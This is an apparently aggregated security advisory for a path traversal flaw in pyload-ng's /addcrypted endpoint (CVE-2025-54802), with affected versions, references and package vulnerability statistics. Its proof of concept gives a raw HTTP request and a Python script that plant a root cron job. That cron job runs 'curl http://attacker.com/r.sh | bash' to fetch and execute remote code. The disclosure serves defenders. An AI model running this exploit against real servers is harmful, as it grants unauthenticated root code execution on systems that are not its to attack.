pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
Summary
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details
- Endpoint:
POST /addcrypted - Issue:
src/pyload/webui/app/blueprints/cnl_blueprint.py
Vulnerable Code
dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
with open(dlc_path, mode="wb") as fp:PoC
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==Decoded payload:
* * * * * root curl -s http://attacker.com/r.sh | bashSend crafted POST
import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={
"package": "../../../../etc/cron.d/exploit",
"crypted": b64
})Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | < 0.5.0b3.dev90 | 0.5.0b3.dev90 |
References
- https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264
- https://nvd.nist.gov/vuln/detail/CVE-2025-54802
- https://github.com/pyload/pyload/pull/4596
- https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4
- https://github.com/pyload/pyload
- https://pypi.org/project/pyload-ng
- https://github.com/advisories/GHSA-48rp-jc79-2264
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 04.08.2025
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-493 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-48rp-jc79-2264 - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE) this entry
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